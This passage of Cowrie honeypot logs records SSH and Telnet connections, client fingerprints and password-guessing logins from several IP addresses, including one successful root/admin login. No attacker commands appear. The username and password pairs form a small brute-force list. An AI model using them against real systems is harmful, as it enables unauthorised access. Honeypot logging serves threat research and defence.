compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:06.111033Z","src_ip":"45.153.34.114","session":"464d7df55c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":34460,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2cd3758451d","protocol":"ssh","message":"New connection: 159.195.79.219:34460 (10.17.0.5:22) [session: b2cd3758451d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:06.161570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:06.166745Z","src_ip":"159.195.79.219","session":"b2cd3758451d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:06.245160Z","src_ip":"185.153.231.45","session":"bcdfb5460444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:06.259365Z","src_ip":"159.195.79.219","session":"b2cd3758451d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:06.363233Z","src_ip":"45.153.34.114","session":"464d7df55c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa2ws3ed","message":"login attempt [root/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:06.654144Z","src_ip":"159.195.79.219","session":"b2cd3758451d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:07.451591Z","src_ip":"45.153.34.114","session":"464d7df55c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:07.749433Z","src_ip":"159.195.79.219","session":"b2cd3758451d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.138859510421753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:10.355548Z","src_ip":"74.91.213.120","session":"0e447e6b19ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44352,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b2cde6cfccc","protocol":"ssh","message":"New connection: 45.153.34.114:44352 (159.203.135.109:22) [session: 0b2cde6cfccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:13.338398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:13.345601Z","src_ip":"45.153.34.114","session":"0b2cde6cfccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:13.430944Z","src_ip":"45.153.34.114","session":"0b2cde6cfccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:13.717075Z","src_ip":"45.153.34.114","session":"0b2cde6cfccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.154160499572754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:14.029704Z","src_ip":"74.91.213.120","session":"bc6d02816c9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36030,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b1dcfadcf1a","protocol":"telnet","message":"New connection: 74.91.213.120:36030 (159.203.135.109:23) [session: 8b1dcfadcf1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:14.345031Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36046,"dst_ip":"159.203.135.109","dst_port":23,"session":"810dcfbfe8f6","protocol":"telnet","message":"New connection: 74.91.213.120:36046 (159.203.135.109:23) [session: 810dcfbfe8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:14.495635Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:14.802611Z","src_ip":"45.153.34.114","session":"0b2cde6cfccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44098,"dst_ip":"159.203.135.109","dst_port":23,"session":"92bd54c4ba77","protocol":"telnet","message":"New connection: 74.91.213.120:44098 (159.203.135.109:23) [session: 92bd54c4ba77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:18.175899Z"}
{"eventid":"cowrie.session.closed","duration":30.125521183013916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:19.183850Z","src_ip":"74.91.213.120","session":"7b98ef8d4090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":55664,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aa3da964379","protocol":"ssh","message":"New connection: 81.192.46.49:55664 (159.203.135.109:22) [session: 3aa3da964379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:19.469810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:19.474731Z","src_ip":"81.192.46.49","session":"3aa3da964379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:19.596435Z","src_ip":"81.192.46.49","session":"3aa3da964379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.148037910461426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:19.939985Z","src_ip":"74.91.213.120","session":"7f4a39dae412","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":35463,"dst_ip":"159.203.135.109","dst_port":22,"session":"54ee16a7c258","protocol":"ssh","message":"New connection: 113.190.252.123:35463 (159.203.135.109:22) [session: 54ee16a7c258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:20.044630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:20.096098Z","src_ip":"113.190.252.123","session":"54ee16a7c258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pablo123","message":"login attempt [root/pablo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:20.101739Z","src_ip":"81.192.46.49","session":"3aa3da964379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:20.561557Z","src_ip":"113.190.252.123","session":"54ee16a7c258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:21.222749Z","src_ip":"81.192.46.49","session":"3aa3da964379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56986,"dst_ip":"159.203.135.109","dst_port":22,"session":"3091b165e79d","protocol":"ssh","message":"New connection: 45.153.34.114:56986 (159.203.135.109:22) [session: 3091b165e79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:21.266420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:21.271061Z","src_ip":"45.153.34.114","session":"3091b165e79d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:21.365268Z","src_ip":"45.153.34.114","session":"3091b165e79d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:21.628516Z","src_ip":"45.153.34.114","session":"3091b165e79d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:22.631672Z","src_ip":"113.190.252.123","session":"54ee16a7c258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:22.716584Z","src_ip":"45.153.34.114","session":"3091b165e79d","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:23.720057Z","src_ip":"113.190.252.123","session":"54ee16a7c258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":54335,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe010c23f2d3","protocol":"ssh","message":"New connection: 2.57.121.25:54335 (159.203.135.109:22) [session: fe010c23f2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:23.725249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:23.729764Z","src_ip":"2.57.121.25","session":"fe010c23f2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:23.833316Z","src_ip":"2.57.121.25","session":"fe010c23f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:24.239045Z","src_ip":"113.190.252.123","session":"54ee16a7c258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"garth","message":"login attempt [user/garth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:24.278726Z","src_ip":"2.57.121.25","session":"fe010c23f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44104,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f00192ce7ad","protocol":"telnet","message":"New connection: 74.91.213.120:44104 (159.203.135.109:23) [session: 0f00192ce7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:24.502269Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:25.062682Z","src_ip":"113.190.252.123","session":"54ee16a7c258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:25.067039Z","src_ip":"113.190.252.123","session":"54ee16a7c258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gagaga","message":"login attempt [user/gagaga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:25.385376Z","src_ip":"2.57.121.25","session":"fe010c23f2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fulton","message":"login attempt [user/fulton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:26.492748Z","src_ip":"2.57.121.25","session":"fe010c23f2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fuckyeah","message":"login attempt [user/fuckyeah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:27.601293Z","src_ip":"2.57.121.25","session":"fe010c23f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56994,"dst_ip":"159.203.135.109","dst_port":22,"session":"d51d907269c6","protocol":"ssh","message":"New connection: 45.153.34.114:56994 (159.203.135.109:22) [session: d51d907269c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:28.422532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:28.428009Z","src_ip":"45.153.34.114","session":"d51d907269c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac